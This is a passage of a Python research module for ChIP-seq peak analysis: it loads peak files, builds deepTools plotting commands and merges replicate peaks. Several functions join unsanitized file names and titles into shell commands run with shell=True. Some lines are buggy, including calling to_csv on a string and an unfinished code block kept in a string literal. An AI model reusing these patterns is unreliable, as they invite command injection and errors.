bindings.append(binding)\n\t\t\telse:\n\t\t\t\tfile = folder\n\t\t\t\tif file[-10:] in [\"narrowPeak\",\".broadPeak\"] and (any(tf in file for tf in CTFlist) or not CTFlist):\n\t\t\t\t\tprint('reading: '+file)\n\t\t\t\t\tbinding = pd.read_csv(peakfolder + file, sep='\\t', header=None, skiprows=skiprows)\n\t\t\t\t\tbinding['name'] = file.replace('.narrowPeak', '').replace('.broadPeak','')\n\t\t\t\t\tbindings = bindings.append(binding)\n\telif peakFile:\n\t\tbindings = pd.read_csv(peakFile, sep='\\t', header=None, skiprows=skiprows)\n\t\tbindings['name'] = peakFile.split('/')[-1].split('.')[0]\n\telse:\n\t\traise ValueError(\"need to provide one of peakFile or peakfolder\")\n\tbindings = bindings.drop(5, 1).drop(4, 1)\n\tbindings = bindings.rename(columns={\n\t\t0: \"chrom\",\n\t\t1: 'start',\n\t\t2: 'end',\n\t\t3: 'peak_number',\n\t\t6: \"foldchange\",\n\t\t7: \"-log10pvalue\",\n\t\t8: \"-log10qvalue\",\n\t\t9: 'relative_summit_pos'})\n\tbindings = bindings.sort_values(by=[\"chrom\", \"start\", \"end\"], axis=0)\n\tbindings.start = bindings.start.astype('int')\n\tbindings.end = bindings.end.astype('int')\n\tbindings['relative_summit_pos'] = bindings.relative_summit_pos.astype(\n\t\tfloat) if 'relative_summit_pos' in bindings.columns else bindings.end - bindings.start\n\tbindings.foldchange = bindings.foldchange.astype('float')\n\tbindings[\"-log10pvalue\"] = bindings[\"-log10pvalue\"].astype('float')\n\tbindings['-log10qvalue'] = bindings['-log10qvalue'].astype('float')\n\tbindings = bindings.reset_index(drop=True)\n\tloc = bindings['relative_summit_pos'].isna()\n\tbindings.loc[bindings[loc].index, 'relative_summit_pos'] = bindings[loc].end - bindings[loc].start\n\tbindings.relative_summit_pos = bindings.relative_summit_pos.astype(int)\n\treturn bindings\n\n\n# def pysam_getPeaksAt(peaks, bams, folder='data/seqs/', window=1000, numpeaks=1000, numthreads=8):\n\n# \t# get pysam data\n# \t# ask for counts only at specific locus based on windows from center+-size from sorted MYC peaks\n# \t# for each counts, do a rolling average (or a convolving of the data) with numpy\n# \t# append to an array\n# \t# return array, normalized\n# \tloaded = {}\n# \tres = {i: np.zeros((len(peaks), window * 2)) for i in bams}\n# \tpeaks = peaks.sort_values(by=\"foldchange\", ascending=False).iloc[:numpeaks]\n# \tpeaks.chrom = peaks.chrom.astype(str)\n# \tfor val in bams:\n# \t\tloaded.update({val: pysam.AlignmentFile(folder + val, 'rb', threads=numthreads)})\n# \tfor k, bam in loaded.items():\n# \t\tfor num, (i, val) in enumerate(peaks.iterrows()):\n# \t\t\tprint(int(num / len(peaks)), end='\\r')\n# \t\t\tcenter = int((val['start'] + val['end']) / 2)\n# \t\t\tfor pileupcolumn in bam.pileup(val['chrom'], start=center - window,\n# \t\t\t\t\t\t\t\t\t\t stop=center + window, truncate=True):\n# \t\t\t\tres[k][num][pileupcolumn.pos - (center - window)] = pileupcolumn.n\n# \tfig, ax = plt.subplots(1, len(res))\n# \tfor i, (k, val) in enumerate(res.items()):\n# \t\tsns.heatmap(val, ax=ax[i])\n# \t\tax[i].set_title(k.split('.')[0])\n# \tfig.show()\n# \treturn res, fig\n\n\n# def bedtools_getPeaksAt(peaks, bams, folder='data/seqs/', window=1000, numpeaks=1000, numthreads=8):\n# \t\"\"\"\n# \tget pysam data\n# \task for counts only at specific locus based on windows from center+-size from sorted MYC peaks\n# \tfor each counts, do a rolling average (or a convolving of the data) with numpy\n# \tappend to an array\n# \treturn array, normalized\n# \t\"\"\"\n# \tloaded = {}\n# \tcenter = [int((val['start'] + val['end']) / 2) for k, val in peaks.iterrows()]\n# \tpeaks['start'] = [c - window for c in center]\n# \tpeaks['end'] = [c + window - 1 for c in center]\n# \tpeaks[peaks.columns[:3]].sort_values(by=['chrom', 'start']).to_csv('temp/peaks.bed', sep='\\t', index=False, header=False)\n# \tbedpeaks = BedTool('temp/peaks.bed')\n\n# \tfig, ax = plt.subplots(1, len(bams))\n# \tpeakset = peaks[\"foldchange\"].values.argsort()[::-1][:numpeaks]\n# \tfor i, val in enumerate(bams):\n# \t\tcoverage = BedTool(folder + val).intersect(bedpeaks).genome_coverage(bga=True, split=True)\\\n# \t\t\t.intersect(bedpeaks).to_dataframe(names=['chrom', 'start', 'end', 'coverage'])\n# \t\tcov = np.zeros((len(peaks), window * 2), dtype=int)\n# \t\tj = 0\n# \t\tpdb.set_trace()\n# \t\tfor i, (k, val) in enumerate(peaks.iterrows()):\n# \t\t\tprint(i / len(peaks), end='\\r')\n# \t\t\twhile coverage.iloc[j].start > val.start:\n# \t\t\t\tj -= 1\n# \t\t\twhile coverage.iloc[j].start < val.end:\n# \t\t\t\tcov[i][coverage.iloc[j].start - val.start:coverage.iloc[j].end - val.start] =\\\n# \t\t\t\t\tcoverage.iloc[j].coverage\n# \t\t\t\tj += 1\n# \t\tsns.heatmap(coverage, ax=ax[i])\n# \t\tax[i].set_title(val.split('.')[0])\n# \tfig.show()\n# \treturn None, fig\n\n\ndef makeDifferentialProfiles(matx=[], matnames=[], title='',\n\t\t\t\t name='temp/peaksat.pdf', refpoint=\"TSS\",\n\t\t\t\t withDeeptools=True, cluster=1, vmax=None, vmin=None,\n\t\t\t\t legendLoc=None):\n\t\"\"\"\n\tGiven two Matrix from a previous plotting operation of DeepTools, joins them.\n\t\n\tWill join them into the same plot in(you need to have used the same intervals for both)\n\n\tArgs:\n\t-----\n\t\tmatx: list[str] filepaths fo the two matfiles\n\t\tmatnames: list[str] names of each files (e.g. different conditions)\n\t\ttitle: str: title of the plot\n\t\tname: str filepath of the output plot\n\t\trefpoint: str possible location name (TSS, Peak, ...) in x axis in the plot\n\t\tcluster:\n\t\tvmax\n\t\tvmin\n\t\tlegendLoc\n\n\t\"\"\"\n\tif withDeeptools:\n\t\tif not (len(matnames) == 2 and len(matx) == 2):\n\t\t\traise ValueError('you need two mat.gz files and two names')\n\t\th.createFoldersFor(name)\n\t\tcmd = 'computeMatrixOperations relabel -m '\n\t\tcmd += matx[0] + ' -o '+matx[0]+' --groupLabels '+matnames[0]\n\t\tcmd += ' && computeMatrixOperations relabel -m '\n\t\tcmd += matx[1] + ' -o '+matx[1]+' --groupLabels '+matnames[1]\n\t\tcmd += ' && computeMatrixOperations rbind -m '\n\t\tcmd += matx[0] + ' ' + matx[1] + \" -o \" + '.'.join(name.split('.')[:-1]) + \".gz\"\n\t\tcmd += ' && plotProfile'\n\t\tcmd += \" --matrixFile \" + '.'.join(name.split('.')[:-1]) + \".gz\"\n\t\tcmd += \" --outFileName \" + name\n\t\tcmd += \" --refPointLabel \" + refpoint\n\t\tif vmax is not None:\n\t\t\tcmd += \" -max \"+str(vmax)\n\t\tif vmin is not None:\n\t\t\tcmd += \" -min \"+str(vmin)\n\t\tif cluster >1:\n\t\t\tcmd += \" --perGroup --kmeans \"+str(cluster)\n\t\tif legendLoc:\n\t\t\tcmd += \" --legendLocation \"+legendLoc\n\t\tif title:\n\t\t\tcmd += \" --plotTitle \" + title\n\t\tdata = subprocess.run(cmd, shell=True, capture_output=True)\n\t\tprint(data)\n\ndef getPeaksAt(peaks, bigwigs, folder='', bigwignames=[], peaknames=[], window=1000, title='', numpeaks=4000, numthreads=8,\n\t\t\t\t width=5, length=10,torecompute=False, name='temp/peaksat.pdf', refpoint=\"TSS\", scale=None,\n\t\t\t\t sort=False, withDeeptools=True, onlyProfile=False, cluster=1, vmax=None, vmin=None, overlap=False,\n\t\t\t\t legendLoc=None):\n\t\"\"\"\n\tget pysam data\n\task for counts only at specific locus based on windows from center+-size from sorted MYC peaks\n\tfor each counts, do a rolling average (or a convolving of the data) with numpy\n\tappend to an array\n\treturn array, normalized\n\t\"\"\"\n\tif withDeeptools:\n\t\tif isinstance(peaks, pd.DataFrame):\n\t\t\tpeaks = 'peaks.bed '\n\t\t\tpeaks.to_csv('peaks.bed', sep='\\t', index=False, header=False)\n\t\telif type(peaks) == list:\n\t\t\tpe = ''\n\t\t\ti=0\n\t\t\tfor n, p in enumerate(peaks):\n\t\t\t\tif 20 < int(os.popen('wc -l ' + p).read().split(' ')[0]):\n\t\t\t\t\tpe += p + ' '\n\t\t\t\telif len(peaknames) > 0:\n\t\t\t\t\tpeaknames.pop(n-i)\n\t\t\t\t\ti+=1\n\t\t\tpeaks = pe\n\t\telif type(peaks) == str:\n\t\t\tpeaks += ' '\n\t\telse:\n\t\t\traise ValueError(' we dont know this filetype')\n\t\tif type(bigwigs) is list:\n\t\t\tpe = ''\n\t\t\tfor val in bigwigs:\n\t\t\t\tpe += folder + val + ' '\n\t\t\tbigwigs = pe\n\t\telse:\n\t\t\tbigwigs = folder + bigwigs + ' '\n\t\th.createFoldersFor(name)\n\t\tcmd= ''\n\t\tif not os.path.exists('.'.join(name.split('.')[:-1]) + \".gz\") or torecompute:\n\t\t\tcmd += \"computeMatrix reference-point -S \"\n\t\t\tcmd += bigwigs\n\t\t\tcmd += \" --referencePoint \"+refpoint\n\t\t\tcmd += \" --regionsFileName \" + peaks\n\t\t\tcmd += \" --missingDataAsZero\"\n\t\t\tcmd += \" --outFileName \" + '.'.join(name.split('.')[:-1]) + \".gz\"\n\t\t\tcmd += \" --upstream \" + str(window) + \" --downstream \" + str(window)\n\t\t\tcmd += \" --numberOfProcessors \" + str(numthreads) + ' && '\n\t\tif type(name) is list:\n\t\t\tcmd+= \" --matrixFile \" + '.gz '.join(name) + \".gz\"\n\t\tcmd += \"plotHeatmap\" if not onlyProfile else 'plotProfile'\n\t\tcmd += \" --matrixFile \" + '.'.join(name.split('.')[:-1]) + \".gz\"\n\t\tcmd += \" --outFileName \" + name\n\t\tcmd += \" --refPointLabel \"+ refpoint\n\t\tif vmax is not None:\n\t\t\tcmd += \" -max \"+str(vmax)\n\t\tif vmin is not None:\n\t\t\tcmd += \" -min \"+str(vmin)\n\t\tif cluster>1:\n\t\t\tcmd += \" --perGroup --kmeans \"+str(cluster)\n\t\tif overlap:\n\t\t\tif onlyProfile:\n\t\t\t\tcmd += \" --plotType overlapped_lines\"\n\t\t\telse:\n\t\t\t\traise ValueError(\"overlap only works when onlyProfile is set\")\n\t\tif legendLoc:\n\t\t\tcmd+=\" --legendLocation \"+legendLoc\n\n\t\tif len(peaknames) > 0:\n\t\t\tpe = ''\n\t\t\tfor i in peaknames:\n\t\t\t\tpe += ' ' + i\n\t\t\tpeaknames = pe\n\t\t\tcmd += \" --regionsLabel\" + peaknames\n\t\tif type(bigwigs) is list:\n\t\t\tif len(bigwignames) > 0:\n\t\t\t\tpe = ''\n\t\t\t\tfor i in bigwignames:\n\t\t\t\t\tpe += ' ' + i\n\t\t\t\tbigwignames = pe\n\t\t\t\tcmd += \" --samplesLabel\" + bigwignames\n\t\tif title:\n\t\t\tcmd += \" --plotTitle \" + title\n\t\tdata = subprocess.run(cmd, shell=True, capture_output=True)\n\t\tprint(data)\n\telse:\n\t\tif 'relative_summit_pos' in peaks.columns:\n\t\t\tcenter = [int((val['start'] + val['relative_summit_pos'])) for k, val in peaks.iterrows()]\n\t\telse:\n\t\t\tcenter = [int((val['start'] + val['end']) / 2) for k, val in peaks.iterrows()]\n\t\tpd.set_option('mode.chained_assignment', None)\n\t\tpeaks['start'] = [c - window for c in center]\n\t\tpeaks['end'] = [c + window for c in center]\n\t\tfig, ax = plt.subplots(1, len(bigwigs), figsize=[width, length], title=title if title else 'Chip Heatmap')\n\t\tif sort:\n\t\t\tpeaks = peaks.sort_values(by=[\"foldchange\"], ascending=False)\n\t\tif numpeaks > len(peaks):\n\t\t\tnumpeaks = len(peaks) - 1\n\t\tcov = {}\n\t\tmaxs = []\n\t\tfor num, bigwig in enumerate(bigwigs):\n\t\t\tbw = pyBigWig.open(folder + bigwig)\n\t\t\tco = np.zeros((numpeaks, window * 2), dtype=int)\n\t\t\tscale = scale[bigwig] if scale is dict else 1\n\t\t\tfor i, (k, val) in enumerate(peaks.iloc[:numpeaks].iterrows()):\n\t\t\t\ttry:\n\t\t\t\t\tco[i] = np.nan_to_num(bw.values(str(val.chrom), val.start, val.end), 0)\n\t\t\t\texcept RuntimeError as e:\n\t\t\t\t\tprint(str(val.chrom), val.start, val.end)\n\t\t\t\t\tpass\n\t\t\tcov[bigwig] = co\n\t\t\tmaxs.append(co.max())\n\t\tfor num, bigwig in enumerate(bigwigs):\n\t\t\tsns.heatmap(cov[bigwig] * scale, ax=ax[num], vmax=max(maxs), yticklabels=[], cmap=cmaps[num],\n\t\t\t\t\t\tcbar=True)\n\t\t\tax[num].set_title(bigwig.split('.')[0])\n\t\tfig.subplots_adjust(wspace=0.1)\n\t\tfig.show()\n\t\tfig.savefig(name)\n\t\treturn cov, fig\n\n\n\"\"\"\ndef computeMeanCov(bigwigFolder, meanOnly=True, ref=\"GRCh38\", averageFragSize=150, outputfolder='/data/coverage/'):\n\tmeancov = {}\n\tfor val in os.listdir(bigwigFolder):\n\t\tbw = pyBigWig.open(folder + bigwig)\n\t\tif bw:\n\t\t\tmeancov[val.split('.')[0]] = bw.\n\treturn meancov\n\n\ndef substractPeaks(peaks1, to):\n\tpeaks1 = peaks1.sort_values(by=['chrom', 'start'])\n\tpeaks2 = to.sort_values(by=['chrom', 'start'])\n\tj = 0\n\ti = 0\n\tnewpeaks = pd.DataFrame(columns=peaks2.columns)\n\twhile i < len(peaks2):\n\t\tif peaks1.iloc[j].chrom == peaks2.iloc[j].chrom:\n\t\t\telse\n\t\tintersection = h.intersection([peaks2.iloc[i]['start'], peaks2.iloc[i]['end']],\n\t\t\t\t\t\t\t\t\t\t [peaks1.iloc[j]['start'], peaks1.iloc[j]['start']])\n\t\tif intersection:\n\n\t\t\tj += 1\n\t\twhile peaks2.iloc[i]['end'] > peaks1.iloc[j]['start']:\n\t\t\tif peaks2.iloc[i]['end'] > peaks1.iloc[j]['end']:\n\t\t\t\tnewpeaks.append(peaks2.iloc[i], ignore_index=True)\n\t\t\telse:\n\t\t\t\tnewpeaks.append({'start': peaks2.iloc[i]['start'],\n\t\t\t\t\t\t\t\t 'end': peaks1.iloc[j]['start'],\n\t\t\t\t\t\t\t\t 'chromomsome': peaks1.iloc[j]['chrom']}, ignore_index=True)\n\"\"\"\n\n\ndef simpleMergePeaks(peaks, window=0, totpeaknumber=0, maxp=True, mergedFold=\"mean\"):\n\t\"\"\"\n\tsimply merges bedfiles from peak callers. providing a concaneted dataframe of bed-like tables\n\n\twill recompute pvalues and foldchange from that.\n\n\t\"\"\"\n\tpeaks = peaks.sort_values(by=['chrom', 'start','end'])\n\ttfs = list(set(peaks['name']))\n\tmergedpeaksdict = {}\n\tremove = []\n\tpeaknumber = 0\n\tmerged_bed = {\n\t\t\"chrom\": [peaks.iloc[0]['chrom']],\n\t\t\"start\": [peaks.iloc[0]['start']],\n\t\t\"end\": [],\n\t\t\"peak_number\": [peaknumber + totpeaknumber],\n\t\t\"foldchange\": [],\n\t\t\"-log10pvalue\": [],\n\t\t\"-log10qvalue\": [],\n\t\t\"relative_summit_pos\": []\n\t}\n\tfoldchange = [peaks.iloc[0].get('foldchange', 1)]\n\tlog10pvalue = [peaks.iloc[0].get('-log10pvalue', 0)]\n\tlog10qvalue = [peaks.iloc[0].get('-log10qvalue', 0)]\n\trelative_summit_pos = peaks.iloc[1].get('relative_summit_pos', peaks.iloc[0]['start'])\n\t# computes overlap by extending a bit the window (100bp?) should be ~readsize\n\tprev_end = peaks.iloc[0]['end']\n\tprev_chrom = peaks.iloc[0]['chrom']\n\ttfmerged = {a: [0] for a in tfs}\n\ttfmerged[peaks.iloc[0]['name']][-1] = peaks.iloc[0].get('foldchange', 1)\n\tfor i, (pos, peak) in enumerate(peaks.iloc[1:].iterrows()):\n\t\tprint(str(i / len(peaks)), end=\"\\r\")\n\t\tif prev_end + window > peak['start'] and prev_chrom == peak['chrom']:\n\t\t\t# can be merged\n\t\t\tif peak.get('foldchange', 1) > max(foldchange):\n\t\t\t\trelative_summit_pos = peak.get('relative_summit_pos', peaks['start'])\n\t\t\tfoldchange.append(peak.get('foldchange', 1))\n\t\t\tlog10pvalue.append(peak.get('-log10pvalue', 0))\n\t\t\tlog10qvalue.append(peak.get('-log10qvalue', 0))\n\n\t\telse:\n\t\t\t# newpeak\n\t\t\tfor k, val in tfmerged.items():\n\t\t\t\tval.append(0)\n\t\t\tpeaknumber += 1\n\t\t\tmerged_bed['chrom'].append(peak['chrom'])\n\t\t\tmerged_bed['start'].append(peak['start'])\n\t\t\tmerged_bed['end'].append(prev_end)\n\t\t\tmerged_bed['peak_number'].append(peaknumber + totpeaknumber)\n\t\t\tif mergedFold==\"mean\":\n\t\t\t\tmerged_bed['foldchange'].append(np.mean(foldchange))\n\t\t\telif mergedFold==\"max\":\n\t\t\t\tmerged_bed['foldchange'].append(max(foldchange))\n\t\t\telif mergedFold==\"sum\":\n\t\t\t\tmerged_bed['foldchange'].append(sum(foldchange))\n\t\t\telse:\n\t\t\t\traise ValueError(\"mergedFold needs to be one of:\")\n\t\t\tmerged_bed['-log10pvalue'].append(max(log10pvalue) if maxp else np.prod(log10pvalue))\n\t\t\tmerged_bed['-log10qvalue'].append(max(log10qvalue) if maxp else np.prod(log10qvalue))\n\t\t\tmerged_bed['relative_summit_pos'].append(relative_summit_pos)\n\t\t\tfoldchange = [peak.get('foldchange', 1)]\n\t\t\tlog10pvalue = [peak.get('-log10pvalue', 0)]\n\t\t\tlog10qvalue = [peak.get('-log10qvalue', 0)]\n\t\t\trelative_summit_pos = peak.get('relative_summit_pos', peak['start'])\n\t\tprev_end = peak['end']\n\t\tprev_chrom = peak['chrom']\n\t\ttfmerged[peak['name']][-1] = peak.get('foldchange', 1)\n\tmerged_bed['end'].append(prev_end)\n\tif mergedFold==\"mean\":\n\t\tmerged_bed['foldchange'].append(np.mean(foldchange))\n\telif mergedFold==\"max\":\n\t\tmerged_bed['foldchange'].append(max(foldchange))\n\telif mergedFold==\"sum\":\n\t\tmerged_bed['foldchange'].append(sum(foldchange))\n\telse:\n\t\traise ValueError(\"mergedFold needs to be one of:\")\n\tmerged_bed['-log10pvalue'].append(max(log10pvalue) if maxp else np.prod(log10pvalue))\n\tmerged_bed['-log10qvalue'].append(max(log10qvalue) if maxp else np.prod(log10qvalue))\n\tmerged_bed['relative_summit_pos'].append(relative_summit_pos)\n\n\tmerged_bed = pd.DataFrame(merged_bed)\n\ttfmerged = pd.DataFrame(tfmerged)\n\treturn pd.concat([merged_bed, tfmerged], axis=1, sort=False)\n\n\ndef findpeakpath(folder, proteiname):\n\t\"\"\"\n\tgiven a folder of bigwigs and a protein name, finds the right bigwig\n\t\"\"\"\n\tres = None\n\tfor val in os.listdir(folder):\n\t\tif str(proteiname) in val:\n\t\t\tif res:\n\t\t\t\traise ValueError('more than 1 bigwig file found')\n\t\t\tres= val\n\tif res:\n\t\treturn res\n\traise ValueError('no bigwig file found')\n\n\ndef findBestPeak(presence):\n\t\"\"\"\n\tgiven a list of -sets of peak locations for each replicate- will return the best replicate given a simple metric\n\t\"\"\"\n\ttot = []\n\tfor ind, el in enumerate(presence):\n\t\tval = len(el)\n\t\tpres = [x for j,x in enumerate(presence) if j!=ind]\n\t\tfor jnd in range(1, len(pres)+1):\n\t\t\tfor comb in itertools.combinations(pres, jnd):\n\t\t\t\tov = el\n\t\t\t\tfor knd in range(jnd):\n\t\t\t\t\tov = ov & comb[knd]\n\t\t\t\tval += len(ov)*(jnd+1)\n\t\ttot.append(val)\n\treturn np.argsort(tot)[::-1]\n\n\ndef mergeReplicatePeaks(peaks, bigwigfolder, markedasbad=None, window=100,\n\t\t\t\t\t\tsampling=3000, mincov=4, doPlot=True, cov={}, minKL=8, use='max',\n\t\t\t\t\t\tMINOVERLAP=0.3, lookeverywhere=True, only='', saveloc=''):\n\t\"\"\"\n\t\n\t\n\t/!/ should only be passed peaks with at least one good replicate\n\tfor each TFpeaksets,\n\t1. find the replicate that have the most peaks\n\t2. correlate peaks and get in highest correlation order with the replicate found in 1\n\t3. find overlap of both and get size of second replicate\n\t4. if small(er)-> use only to increase statistics\n\t 1. if a lot of uncalled peaks in replicate 2 at replicate 1 peaks (flag for mergebam)\n\t5. if similar size -> get only intersect\n\t 2. add to intersect, find uncalled peaks in both replicates which are called in the other\n\t6. repeat for all replicates\n\t-------------------------\n\tif full overlap of one of the peak replicate, only use the overlapped one to increase confidence on peak\n\tif >80% average non overlap,\n\t print warning and percentage of overlap\n\n\tif <20% average non overlap,\n\t take the overlap and increase confidence and avg logfold\n\n\tif one is <20%:\n\t if other <40% average non overlap,\n\t\ttake the overlap and increase confidence and avg logfold\n\t else\n\t\ttake\n\n\tgets the max cov at the genomic window and if above some threshold, accepts the peak.\n\n\textend peak by X bp if no TSS\n\tremove TSS from peaks\n\n\tcreate a new data frame containing merged peak size, reassembled peak data (p value etc..) and\n\ta the value for presence of each TF listed in previous df\n\t------------------------------------\n\n\targs:\n\t----\n\tpeaks: df[bed-like] all the peaks into the sameBam with a column containing the 'name'\n\tbeing the id of the sample, the 'replicate' number of this sample, the 'tf' chiped here\n\tbamfolder: str, foldername\n\tavgCov: dict(filename:int) a dict where for each bam filename is given an averageCoverage\n\tif use=='max':\n\t\twindow:\n\t\tmincov:\n\n\tif use=='max':\n\n\n\treturns:\n\t-------\n\tmergedpeaks: dict{df-peakslike}\n\tbamtomerge: [[bam1,bam2]]\n\n\t\"\"\"\n\tdef col_nan_scatter(x, y, **kwargs):\n\t\tdf = pd.DataFrame({'x': x[:], 'y': y[:]})\n\t\tdf = df[df.sum(0) != 0]\n\t\tx = df['x']\n\t\ty = df['y']\n\t\tplt.gca()\n\t\tplt.scatter(x, y)\n\tdef col_nan_kde_histo(x, **kwargs):\n\t\tdf = pd.DataFrame({'x':x[:]})\n\t\tdf = df[df['x']!=0]\n\t\tx = df['x']\n\t\tplt.gca()\n\t\tsns.kdeplot(x)\n\tprint(\"/!/ should only be passed peaks with at least one good replicate\")\n\t# for a df containing a set of peaks in bed format and an additional column of different TF\n\ttfs = list(set(peaks['tf']))\n\ttotpeaknumber = 0\n\tmergedpeaksdict = {}\n\tremove = []\n\ttomergebam = []\n\tratiosofunique = {}\n\th.createFoldersFor(saveloc)\n\tf = open(saveloc+'results.txt', 'w')\n\twarnings.simplefilter(\"ignore\")\n\tfor tf in tfs:\n\t\tif only and tf!=only:\n\t\t\tcontinue\n\t\tcpeaks = peaks[peaks.tf==tf]\n\t\tprint('_____________________________________________________')\n\t\tf.write('_____________________________________________________' + '\\n')\n\t\tif len(set(cpeaks['replicate'])) == 1:\n\t\t\tif cpeaks.name.tolist()[0] in markedasbad:\n\t\t\t\tprint('the only replicate is considered bad!')\n\t\t\t\tf.write('the only replicate is considered bad!'+\"\\n\")\n\t\t\t\tprint('wrong TF: '+tf)\n\t\t\t\tf.write('wrong TF: '+tf+\"\\n\")\n\t\t\t\tmergedpeaksdict.update({tf: cpeaks})\n\t\t\t\tremove.append(tf)\n\t\t\t\tcontinue\n\t\t\tprint(\"we only have one replicate for \" + tf + \" .. pass\")\n\t\t\tf.write(\"we only have one replicate for \" + tf + \" .. pass\"+\"\\n\")\n\t\t\tmergedpeaksdict.update({tf: cpeaks})\n\t\t\tcontinue\n\t\tprint(\"merging \" + tf + \" peaks\")\n\t\tf.write(\"merging \" + tf + \" peaks\"+\"\\n\")\n\t\tmerged = simpleMergePeaks(cpeaks, window=window, maxp=False)\n\t\tmerged_bed = merged[merged.columns[8:]]\n\t\tfinalpeaks = merged[merged.columns[:8]]\n\t\tprint('--> finish first overlaps lookup')\n\t\tf.write('--> finish first overlaps lookup'+\"\\n\")\n\t\t# flag when biggest is <1000 peaks\n\t\tif len(finalpeaks) < 1000:\n\t\t\tprint('!TF has less than 1000 PEAKS!')\n\t\t\tf.write('!TF has less than 1000 PEAKS!'+\"\\n\")\n\t\t# for each TF (replicates), compute number of peaks\n\t\tpeakmatrix = merged_bed.values.astype(bool)\n\n\t\tpresence = []\n\t\tfor peakpres in peakmatrix.T: # https://github.com/tctianchi/pyvenn\n\t\t\tpresence.append(set([i for i, val in enumerate(peakpres) if val == 1]))\n\t\t# compute overlap matrix (venn?)\n\t\tif peakmatrix.shape[1] < 7 and doPlot:\n\t\t\tplot.venn(presence, [i+'_BAD' if i.split('-')[0] in markedasbad else i for i in merged_bed.columns], title=tf+\"_before_venn\", folder=saveloc)\n\t\t\tplt.show()\n\t\telse:\n\t\t\tprint('too many replicates for Venn: '+str(peakmatrix.shape[1]))\n\t\t\tf.write('too many replicates for Venn: '+str(peakmatrix.shape[1])+\"\\n\")\n\t\tif doPlot:\n\t\t\tfig = sns.pairplot(merged_bed,corner=True, diag_kind=\"kde\", kind=\"reg\", plot_kws={\"scatter_kws\":{\"alpha\":.05}})\n\t\t\t#fig = fig.map_upper(col_nan_scatter)\n\t\t\t#fig = fig.map_upper(col_nan_kde_histo)\n\t\t\tplt.suptitle(\"correlation of peaks in each replicate\", y=1.08)\n\t\t\tif saveloc:\n\t\t\t\tfig.savefig(saveloc+tf+\"_before_pairplot.pdf\")\n\t\t\tplt.show()\n\t\t\tfor i, val in enumerate(merged_bed):\n\t\t\t\tunique_inval = np.logical_and(np.delete(peakmatrix,i,axis=1).sum(1).astype(bool)==0, peakmatrix[:,i])\n\t\t\t\tsns.kdeplot(merged_bed[val][unique_inval], legend=True).set(xlim=(0,None))\n\t\t\tplt.title(\"distribution of unique peaks in each replicate\")\n\t\t\tif saveloc:\n\t\t\t\tplt.savefig(saveloc+tf+\"_before_unique_kdeplot.pdf\")\n\t\t\tplt.show()\n\n\t\tbigwigs = os.listdir(bigwigfolder)\n\n\t\tfoundgood=False\n\t\tsort = findBestPeak(presence)\n\t\tfor ib,sb in enumerate(sort):\n\t\t\tif merged_bed.columns[sb].split('-')[0] not in markedasbad:\n\t\t\t\tfoundgood=True\n\t\t\t\tbreak\n\t\tif not foundgood:\n\t\t\tprint('no peaks were good enough quality')\n\t\t\tf.write('no peaks were good enough quality'+\"\\n\")\n\t\t\tprint('bad TF: '+tf)\n\t\t\tf.write('bad TF: '+tf+\"\\n\")\n\t\t\tremove.append(tf)\n\t\t\tib = 0\n\t\t# distplot\n\t\t# correlation plot\n\n\n\t\tbiggest_ind = sort[ib]\n\t\tpeakmatrix = peakmatrix.T\n\t\tbiggest = merged_bed.columns[biggest_ind]\n\t\tprint('-> main rep is: '+str(biggest))\n\t\tf.write('-> main rep is: '+str(biggest)+'\\n')\n\t\ttot = peakmatrix[biggest_ind].copy().astype(int)\n\t\t# starts with highest similarity and go descending\n\t\tj = 0\n\t\trecovered = 0\n\t\tadditionalpeaksinbig = np.array([])\n\t\tfor i, val in enumerate(sort):\n\t\t\tif i==ib:\n\t\t\t\tcontinue\n\t\t\tj+=1\n\t\t\t# if avg non overlap > 60%, and first, and none small flag TF as unreliable.\n\t\t\toverlap = len(presence[biggest_ind] & presence[val]) / len(presence[biggest_ind])\n\t\t\tpeakname = merged_bed.columns[val]\n\t\t\tprint('- '+peakname)\n\t\t\tf.write('- '+peakname+'\\n')\n\t\t\tprint(' overlap: ' + str(overlap*100)+\"%\")\n\t\t\tf.write(' overlap: ' + str(overlap*100)+\"%\"+'\\n')\n\t\t\tif overlap < MINOVERLAP:\n\t\t\t\tsmallsupport = len(presence[biggest_ind] & presence[val]) / len(presence[val])\n\t\t\t\tprint(' --> not enough overlap')\n\t\t\t\tf.write(' --> not enough overlap'+'\\n')\n\t\t\t\tif smallsupport < MINOVERLAP:\n\t\t\t\t\t# if the secondary does not have itself the required support\n\t\t\t\t\tif j == 1 and merged_bed.columns[val].split('-')[0] not in markedasbad:\n\t\t\t\t\t\tprint(\" Wrong TF: \"+tf)\n\t\t\t\t\t\tf.write(\" Wrong TF: \"+tf+'\\n')\n\t\t\t\t\t\tremove.append(tf)\n\t\t\t\t\t\tbreak\n\t\t\t\t\t# if not first, throw the other replicate and continue\n\t\t\t\t\tprint(\" not using this replicate from the peakmatrix\")\n\t\t\t\t\tf.write(\" not using this replicate from the peakmatrix\"+'\\n')\n\t\t\t\t\tcontinue\n\t\t\tif lookeverywhere:\n\t\t\t\ttolookfor = peakmatrix[val] == 0\n\t\t\telse:\n\t\t\t\ttolookfor = np.logical_and(peakmatrix[biggest_ind], peakmatrix[val] == 0)\n\t\t\t# ones that we have in the Primary but not in the secondary\n\t\t\tadditionalpeaksinsec = findAdditionalPeaks(finalpeaks, tolookfor, bigwigfolder + findpeakpath(bigwigfolder, peakname), sampling=sampling, mincov=mincov, window=window, minKL=minKL, use=use)\n\t\t\tif len(additionalpeaksinsec[additionalpeaksinsec>0])>0:\n\t\t\t\tsns.kdeplot(additionalpeaksinsec[additionalpeaksinsec>0],label=peakname, legend=True).set(xlim=(0,None))\n\t\t\t\tprint(' min,max from newly found peaks: '+str((additionalpeaksinsec[additionalpeaksinsec>0].min(),additionalpeaksinsec[additionalpeaksinsec>0].max())))\n\t\t\t\tf.write(' min,max from newly found peaks: '+str((additionalpeaksinsec[additionalpeaksinsec>0].min(),additionalpeaksinsec[additionalpeaksinsec>0].max()))+'\\n')\n\t\t\t# for testing purposes mainly\n\t\t\tfinalpeaks[additionalpeaksinsec.astype(bool)].to_csv('additionalpeaksinsec_mp'+merged_bed.columns[val]+'.bed',sep='\\t',index=None,header=False)\n\t\t\tpeakmatrix[val] = np.logical_or(peakmatrix[val], additionalpeaksinsec.astype(bool))\n\t\t\toverlap = np.sum(np.logical_and(peakmatrix[val],peakmatrix[biggest_ind]))/np.sum(peakmatrix[biggest_ind])\n\t\t\tif overlap < MINOVERLAP:\n\t\t\t\tnewsmalloverlap = np.sum(np.logical_and(peakmatrix[val],peakmatrix[biggest_ind]))/np.sum(peakmatrix[val])\n\t\t\t\tprint(\" we did not had enough 